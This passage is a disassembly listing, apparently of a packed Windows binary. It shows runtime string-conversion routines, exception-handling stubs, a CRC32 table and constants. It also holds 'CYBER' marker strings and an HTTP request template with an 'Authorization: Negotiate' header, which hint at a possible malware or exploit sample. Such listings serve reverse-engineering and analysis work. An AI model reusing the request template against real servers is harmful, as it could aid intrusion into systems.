		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_41F7E0
		add	esp, 8
		xor	edx, edx
		test	eax, eax
		setnle	dl
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_43E17C
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B240	proc near		; CODE XREF: sub_43A460+48p
					; sub_43A550+1Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		mov	ecx, 8
		mov	esi, offset dword_43E180
		lea	edi, [ebp+var_20]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		call	dword_4F54EC	; RaiseException
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	8
sub_43B240	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		and	eax, 0FFFFh
		cmp	eax, 0FFFFh
		jnz	short loc_43B2AC
		mov	ax, [ebp+8]
		jmp	loc_43B351
; ---------------------------------------------------------------------------

loc_43B2AC:				; CODE XREF: .packed:0043B2A1j
		cmp	dword_4F34B8, 0
		jnz	short loc_43B2E6
		mov	ecx, [ebp+8]
		and	ecx, 0FFFFh
		cmp	ecx, 41h
		jl	short loc_43B2E0
		mov	edx, [ebp+8]
		and	edx, 0FFFFh
		cmp	edx, 5Ah
		jg	short loc_43B2E0
		mov	eax, [ebp+8]
		and	eax, 0FFFFh
		add	eax, 20h
		mov	[ebp+8], ax

loc_43B2E0:				; CODE XREF: .packed:0043B2C1j
					; .packed:0043B2CFj
		mov	ax, [ebp+8]
		jmp	short loc_43B351
; ---------------------------------------------------------------------------

loc_43B2E6:				; CODE XREF: .packed:0043B2B3j
		push	offset dword_4F3888
		call	dword_4F5488	; InterlockedIncrement
		cmp	dword_4F3884, 0
		jz	short loc_43B318
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement
		push	13h
		call	sub_423280
		add	esp, 4
		mov	dword ptr [ebp-4], 1
		jmp	short loc_43B31F
; ---------------------------------------------------------------------------

loc_43B318:				; CODE XREF: .packed:0043B2F8j
		mov	dword ptr [ebp-4], 0

loc_43B31F:				; CODE XREF: .packed:0043B316j
		mov	cx, [ebp+8]
		push	ecx
		call	sub_43B360
		add	esp, 4
		mov	[ebp+8], ax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_43B342
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_43B34D
; ---------------------------------------------------------------------------

loc_43B342:				; CODE XREF: .packed:0043B334j
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_43B34D:				; CODE XREF: .packed:0043B340j
		mov	ax, [ebp+8]

loc_43B351:				; CODE XREF: .packed:0043B2A7j
					; .packed:0043B2E4j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B360	proc near		; CODE XREF: sub_43ACF0+11Bp
					; sub_43ACF0+13Fp ...

var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		cmp	eax, 0FFFFh
		jnz	short loc_43B37C
		mov	ax, word ptr [ebp+arg_0]
		jmp	loc_43B410
; ---------------------------------------------------------------------------

loc_43B37C:				; CODE XREF: sub_43B360+11j
		cmp	dword_4F34B8, 0
		jnz	short loc_43B3B6
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		cmp	ecx, 41h
		jl	short loc_43B3B0
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		cmp	edx, 5Ah
		jg	short loc_43B3B0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		add	eax, 20h
		mov	word ptr [ebp+arg_0], ax

loc_43B3B0:				; CODE XREF: sub_43B360+31j
					; sub_43B360+3Fj
		mov	ax, word ptr [ebp+arg_0]
		jmp	short loc_43B410
; ---------------------------------------------------------------------------

loc_43B3B6:				; CODE XREF: sub_43B360+23j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		cmp	ecx, 100h
		jge	short loc_43B3E0
		push	1
		mov	dx, word ptr [ebp+arg_0]
		push	edx
		call	sub_43B770
		add	esp, 8
		test	eax, eax
		jnz	short loc_43B3E0
		mov	ax, word ptr [ebp+arg_0]
		jmp	short loc_43B410
; ---------------------------------------------------------------------------

loc_43B3E0:				; CODE XREF: sub_43B360+65j
					; sub_43B360+78j
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	100h
		mov	edx, dword_4F34B8
		push	edx
		call	sub_43B420
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_43B40C
		mov	ax, word ptr [ebp+arg_0]
		jmp	short loc_43B410
; ---------------------------------------------------------------------------

loc_43B40C:				; CODE XREF: sub_43B360+A4j
		mov	ax, [ebp+var_4]

loc_43B410:				; CODE XREF: sub_43B360+17j
					; sub_43B360+54j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_43B360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B420	proc near		; CODE XREF: sub_43B360+9Ap

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E1A0
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4F3758, 0
		jnz	short loc_43B4A6
		push	0
		push	0
		push	1
		push	offset dword_43D410
		push	100h
		push	0
		call	dword_4F5330	; LCMapStringW
		test	eax, eax
		jz	short loc_43B477
		mov	dword_4F3758, 1
		jmp	short loc_43B4A6
; ---------------------------------------------------------------------------

loc_43B477:				; CODE XREF: sub_43B420+49j
		push	0
		push	0
		push	1
		push	offset dword_43D40C
		push	100h
		push	0
		call	dword_4F5334	; LCMapStringA
		test	eax, eax
		jz	short loc_43B49F
		mov	dword_4F3758, 2
		jmp	short loc_43B4A6
; ---------------------------------------------------------------------------

loc_43B49F:				; CODE XREF: sub_43B420+71j
		xor	eax, eax
		jmp	loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B4A6:				; CODE XREF: sub_43B420+2Dj
					; sub_43B420+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_43B4BF
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_43B710
		add	esp, 8
		mov	[ebp+arg_C], eax

loc_43B4BF:				; CODE XREF: sub_43B420+8Aj
		cmp	dword_4F3758, 1
		jnz	short loc_43B4EB
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F5330	; LCMapStringW
		jmp	loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B4EB:				; CODE XREF: sub_43B420+A6j
		cmp	dword_4F3758, 2
		jnz	loc_43B6F1
		cmp	[ebp+arg_18], 0
		jnz	short loc_43B507
		mov	edx, dword_4F34C8
		mov	[ebp+arg_18], edx

loc_43B507:				; CODE XREF: sub_43B420+DCj
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_18]
		push	edx
		call	dword_4F5450	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_43B536
		xor	eax, eax
		jmp	loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B536:				; CODE XREF: sub_43B420+10Dj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_20]
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	eax, [ebp+var_30]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43B576
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_43B576:				; CODE XREF: sub_43B420+13Dj
		cmp	[ebp+var_1C], 0
		jnz	short loc_43B583
		xor	eax, eax
		jmp	loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B583:				; CODE XREF: sub_43B420+15Aj
		push	0
		push	0
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_18]
		push	edx
		call	dword_4F5450	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_43B5B1
		xor	eax, eax
		jmp	loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B5B1:				; CODE XREF: sub_43B420+188j
		push	0
		push	0
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F5334	; LCMapStringA
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_43B5DB
		xor	eax, eax
		jmp	loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B5DB:				; CODE XREF: sub_43B420+1B2j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_2C]
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43B61B
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_43B61B:				; CODE XREF: sub_43B420+1E2j
		cmp	[ebp+var_24], 0
		jnz	short loc_43B628
		xor	eax, eax
		jmp	loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B628:				; CODE XREF: sub_43B420+1FFj
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F5334	; LCMapStringA
		test	eax, eax
		jnz	short loc_43B651
		xor	eax, eax
		jmp	loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B651:				; CODE XREF: sub_43B420+228j
		mov	edx, [ebp+arg_4]
		and	edx, 400h
		test	edx, edx
		jz	short loc_43B696
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_28], eax
		cmp	[ebp+arg_14], 0
		jz	short loc_43B694
		mov	ecx, [ebp+arg_14]
		cmp	ecx, [ebp+var_2C]
		jge	short loc_43B67A
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_38], edx
		jmp	short loc_43B680
; ---------------------------------------------------------------------------

loc_43B67A:				; CODE XREF: sub_43B420+250j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_38], eax

loc_43B680:				; CODE XREF: sub_43B420+258j
		mov	ecx, [ebp+var_38]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_43B694:				; CODE XREF: sub_43B420+248j
		jmp	short loc_43B6EC
; ---------------------------------------------------------------------------

loc_43B696:				; CODE XREF: sub_43B420+23Cj
		cmp	[ebp+arg_14], 0
		jnz	short loc_43B6C3
		push	0
		push	0
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_43B6C1
		xor	eax, eax
		jmp	short loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B6C1:				; CODE XREF: sub_43B420+29Bj
		jmp	short loc_43B6EC
; ---------------------------------------------------------------------------

loc_43B6C3:				; CODE XREF: sub_43B420+27Aj
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		push	1
		mov	edx, [ebp+arg_18]
		push	edx
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_43B6EC
		xor	eax, eax
		jmp	short loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B6EC:				; CODE XREF: sub_43B420:loc_43B694j
					; sub_43B420:loc_43B6C1j ...
		mov	eax, [ebp+var_28]
		jmp	short loc_43B6F3
; ---------------------------------------------------------------------------

loc_43B6F1:				; CODE XREF: sub_43B420+D2j
		xor	eax, eax

loc_43B6F3:				; CODE XREF: sub_43B420+81j
					; sub_43B420+C6j ...
		lea	esp, [ebp-44h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43B420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B710	proc near		; CODE XREF: sub_43B420+94p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx

loc_43B722:				; CODE XREF: sub_43B710+37j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_43B749
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jz	short loc_43B749
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		jmp	short loc_43B722
; ---------------------------------------------------------------------------

loc_43B749:				; CODE XREF: sub_43B710+20j
					; sub_43B710+2Cj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jnz	short loc_43B75F
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		sar	eax, 1
		jmp	short loc_43B762
; ---------------------------------------------------------------------------

loc_43B75F:				; CODE XREF: sub_43B710+43j
		mov	eax, [ebp+arg_4]

loc_43B762:				; CODE XREF: sub_43B710+4Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_43B710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B770	proc near		; CODE XREF: sub_43B360+6Ep
					; .packed:0043B7FDp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		cmp	eax, 0FFFFh
		jnz	short loc_43B787
		xor	eax, eax
		jmp	short loc_43B7E3
; ---------------------------------------------------------------------------

loc_43B787:				; CODE XREF: sub_43B770+11j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		cmp	ecx, 100h
		jge	short loc_43B7B0
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		mov	eax, off_453CA8
		mov	cx, [eax+edx*2]
		mov	word ptr [ebp+var_4], cx
		jmp	short loc_43B7D0
; ---------------------------------------------------------------------------

loc_43B7B0:				; CODE XREF: sub_43B770+26j
		push	0
		push	0
		lea	edx, [ebp+var_4]
		push	edx
		push	1
		lea	eax, [ebp+arg_0]
		push	eax
		push	1
		call	sub_438CA0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_43B7D0
		xor	eax, eax
		jmp	short loc_43B7E3
; ---------------------------------------------------------------------------

loc_43B7D0:				; CODE XREF: sub_43B770+3Ej
					; sub_43B770+5Aj
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		and	eax, ecx

loc_43B7E3:				; CODE XREF: sub_43B770+15j
					; sub_43B770+5Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_43B770	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	ax, [ebp+0Ch]
		push	eax
		mov	cx, [ebp+8]
		push	ecx
		call	sub_43B770
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_43B810:				; DATA XREF: .packed:0043E344o
		lea	ecx, [ebp-3Ch]
		jmp	sub_40DC3D
; ---------------------------------------------------------------------------
		mov	eax, [ebp-24h]
		and	eax, 1
		test	eax, eax
		jz	locret_43B82E
		mov	ecx, [ebp+8]
		jmp	sub_40DC3D
; ---------------------------------------------------------------------------

locret_43B82E:				; CODE XREF: .packed:0043B820j
		retn
; ---------------------------------------------------------------------------

loc_43B82F:				; DATA XREF: sub_40D7E4o
		mov	eax, offset dword_43E348
		jmp	sub_420420
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+14h]
		jmp	sub_40DC3D
; ---------------------------------------------------------------------------

loc_43B841:				; DATA XREF: .packed:0043E370o
		lea	ecx, [ebp-1Ch]
		jmp	sub_40DC3D
; ---------------------------------------------------------------------------

loc_43B849:				; DATA XREF: sub_40D95Bo
		mov	eax, offset dword_43E374
		jmp	sub_420420
; ---------------------------------------------------------------------------
		align 4

loc_43B854:				; DATA XREF: sub_40E056o
		mov	eax, offset dword_43E3C4
		jmp	sub_420420
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40DC3D
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43A460	proc near		; DATA XREF: sub_43A460+5o
		mov	eax, offset dword_43E460
		jmp	sub_420420
SEH_43A460	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_43B080
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43A4C0	proc near		; DATA XREF: sub_43A4C0+5o
		mov	eax, offset dword_43E488
		jmp	sub_420420
SEH_43A4C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_43B080
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43A580	proc near		; DATA XREF: sub_43A580+5o
		mov	eax, offset dword_43E4D0
		jmp	sub_420420
SEH_43A580	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		call	sub_43B080
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43A640	proc near		; DATA XREF: sub_43A640+5o
		mov	eax, offset dword_43E4F8
		jmp	sub_420420
SEH_43A640	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40DC3D
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43A760	proc near		; DATA XREF: sub_43A760+5o
		mov	eax, offset dword_43E560
		jmp	sub_420420
SEH_43A760	endp

; ---------------------------------------------------------------------------
		align 4
		dd 1C4h	dup(0)
		dd 3C47766Bh, 0
		dd 2, 61h, 0
		dd 59A00h, 0
dword_43C020	dd 0			; DATA XREF: sub_401071+24r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401C87+3477o
					; sub_401C87+355Ao ...
		align 4
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401C87+387Eo
					; sub_401C87+38BAo ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D95B+68o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_43C470	dq 1.388888888888889e-2	; DATA XREF: sub_40D798+2Fr
dbl_43C478	dq 1.666666666666667e-1	; DATA XREF: sub_40D798+15r
dbl_43C480	dq 1.333333333333333	; DATA XREF: sub_40D7E4+70r
dword_43C488	dd 0			; DATA XREF: sub_40DCD7:loc_40DF40o
flt_43C48C	dd 5.0e-1		; DATA XREF: sub_40E29B+38Fr
dbl_43C490	dq 9.765625e-4		; DATA XREF: sub_416D68+2B8r
					; sub_416D68+2CDr ...
dbl_43C498	dq -1.52587890625e-4	; DATA XREF: sub_418428+3D3r
dbl_43C4A0	dq 3.0517578125e-4	; DATA XREF: sub_418428+3B4r
dbl_43C4A8	dq -3.0517578125e-4	; DATA XREF: sub_418428+332r
					; sub_418428+396r
dbl_43C4B0	dq 1.52587890625e-4	; DATA XREF: sub_418428+26Dr
dbl_43C4B8	dq -1.739501953125e-3	; DATA XREF: sub_418428+248r
					; sub_418428+2D1r ...
dbl_43C4C0	dq 3.11279296875e-3	; DATA XREF: sub_418428+E1r
dbl_43C4C8	dq 3.0517578125e-5	; DATA XREF: sub_418428+AEr
					; sub_418428+137r ...
dbl_43C4D0	dq 6.103515625e-5	; DATA XREF: sub_418428+93r
					; sub_418428+2FDr
dbl_43C4D8	dq 2.288818359375e-3	; DATA XREF: sub_418428+21r
dbl_43C4E0	dq -3.0517578125e-5	; DATA XREF: sub_419313+2Br
flt_43C4E8	dd 9.765625e-4		; DATA XREF: sub_41B161+1B0r
flt_43C4EC	dd 8.0			; DATA XREF: sub_41B161+1AAr
flt_43C4F0	dd 0.0			; DATA XREF: sub_41B161+16Fr
flt_43C4F4	dd 1.0e-3		; DATA XREF: sub_41B161+166r
dword_43C4F8	dd 6F6C6366h, 632E6573h, 0 ; DATA XREF:	sub_41BCF0+1Do
					; sub_41BD80+25o
dword_43C504	dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; DATA XREF: sub_41BCF0+14o
					; sub_420FE0+Do ...
dword_43C514	dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
					; DATA XREF: sub_41BD80+1Co
					; sub_41EFB0+45o ...
		dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree		db 'Free',0             ; DATA XREF: .packed:off_4518B0o
		align 8
